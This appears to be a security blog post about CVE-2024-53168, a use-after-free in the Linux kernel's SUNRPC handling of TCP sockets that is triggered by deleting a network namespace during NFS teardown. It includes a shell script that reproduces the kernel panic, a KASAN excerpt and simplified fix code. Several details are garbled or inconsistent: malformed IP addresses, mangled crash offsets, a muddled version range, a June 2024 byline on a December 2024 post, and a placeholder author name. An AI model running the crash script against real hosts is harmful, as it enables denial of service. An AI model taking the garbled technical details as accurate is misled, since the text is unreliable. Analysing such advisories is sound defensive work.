CVE-2024-53168 - Use-After-Free (UAF) Vulnerability in Linux Kernel SUNRPC TCP Socket Handling

*CVE-2024-53168* is a newly resolved vulnerability in the Linux kernel related to the NFS (Network File System) server and its handling of TCP sockets via the SUNRPC subsystem. A logic flaw in how network namespaces and kernel sockets interact could allow a Use-After-Free (UAF) condition to be triggered through namespace deletion and NFS connection teardown. This can potentially lead to kernel panic, local denial of service, or—depending on mitigation bypasses—privilege escalation.

This long-read explains the root-cause, how to trigger it (with script), and the core code involved.

Original references:

- Upstream Linux commit
- Patch discussion
- *CVE:* CVE-2024-53168 at NVD (pending full listing at time of writing)

What is SUNRPC?

The SUNRPC (Sun Remote Procedure Call) subsystem in the Linux kernel is a foundation for services like NFS. This code manages network communication, including kernel-created TCP sockets that live in designated network namespaces.

What Went Wrong?

A TCP socket was created for a network namespace (netns). If the network namespace was deleted while the TCP socket still had pending timers (due to retransmission or FIN waiting), the kernel's TCP timer handler would still try to access the associated netns data.

Since the netns had already been freed, this resulted in a use-after-free condition. This could be reliably triggered by orchestrating the deletion of the namespace while a NFS mount using TCP was in progress.

Crash Example (KASAN Report)

BUG: KASAN: slab-use-after-free in tcp_write_timer_handler+x156/x3e
Read of size 1 at addr ffff888111f322cd by task swapper//

Call trace details show that tcp_write_timer_handler is running after the associated network object has been freed, causing a crash.

Reproduction (How to Trigger)

The bug is complex, but a specific sequence will trigger it. Here's a reproduction script (with comments):

# 1. Prep shared NFS and create test netns
mkdir -p /mnt/nfsshare
mkdir -p /mnt/nfs/netns_1
mkfs.ext4 /dev/sdb
mount /dev/sdb /mnt/nfsshare
systemctl restart nfs-server
chmod 777 /mnt/nfsshare
exportfs -i -o rw,no_root_squash *:/mnt/nfsshare

# 2. Setup netns with veth pair and give it IPs
ip netns add netns_1
ip link add name veth_1_peer type veth peer veth_1
ifconfig veth_1_peer 11.11..254 up
ip link set veth_1 netns netns_1
ip netns exec netns_1 ifconfig veth_1 11.11..1

# 3. Drop FIN packets from netns_1 to main namespace (simulate pending connection)
ip netns exec netns_1 /root/iptables -A OUTPUT -d 11.11..254 -p tcp --tcp-flags FIN FIN -j DROP

# 4. Attempt mount inside the netns (connection will hang due to FIN drop)
ip netns exec netns_1 timeout -s 9 300 mount -t nfs -o proto=tcp,vers=4.1 11.11..254:/mnt/nfsshare /mnt/nfs/netns_1

# 5. Tear down netns (netns is deleted while socket is still pending)
ip netns del netns_1

Drops the final FIN packet from the client so the server never actually sees the connection closure

- Deletes the netns, so the kernel structures (including the TCP socket and its timers) end up referencing freed memory

Result: With older kernels (>6.12-rc4 before patch), this causes a UAF and a reproducible kernel panic.

Code Snippet: The Fix

The solution is to hold a reference on the network namespace for the life of the TCP kernel socket, preventing the underlying memory from being freed while timers may still fire.

Here’s the essential logic, simplified

// Before: no extra reference, so net could be freed early

// After: hold netns refcnt for tcp kernel socket
xs_tcp_setup_socket()
{
    xs->sock = sock_alloc();
    xs->net = hold_net(net); // <-- Important: hold a reference!
    ...
}

xs_tcp_destroy_socket()
{
    ...
    release_net(xs->net); // <-- Drop the ref when fully destroyed
    xs->net = NULL;
    ...
}

Read the actual patch here:
LINUX: sunrpc: fix use-after-free via netns refcount

Exploitability and Security Impact

Severity:
While direct code execution seems extremely unlikely (so far), this is a serious bug. Malicious local users—or even sophisticated orchestrated container orchestrations—could crash the host kernel (DoS) by arranging network namespaces and forcibly tearing down NFS connections.

Exploit details:
- Requires CAP_SYS_ADMIN (to create namespaces/mount NFS)
- Impacts multi-tenant or containerized environments more, where untrusted users can manipulate network namespaces

Do not allow untrusted users to manage network namespaces and NFS together.

Proper fix is messy—the workaround (*hold netns reference for socket lifetime*) is backportable. The developers warn that a proper, architectural refactor is required to avoid ugly hacks in the long term.

References and Further Reading

- Kernel Upstream Commit
- CVE-2024-53168 NVD Page (to be updated)
- Linux KASAN

Conclusion

*CVE-2024-53168* is a classic demonstration that complex interactions between kernel objects (network namespaces, sockets, timers) can have subtle and critical bugs. Now it's resolved, but heavy environments should definitely be updated ASAP.

Have questions or practical scenarios? Drop them below—our team watches this space.

*Prepared and analyzed by [Your Security Research Group], June 2024. Exclusive content, please reference when sharing.*

Timeline

Published on: 12/27/2024 14:15:23 UTC
Last modified on: 02/03/2025 15:25:51 UTC

*Original references:*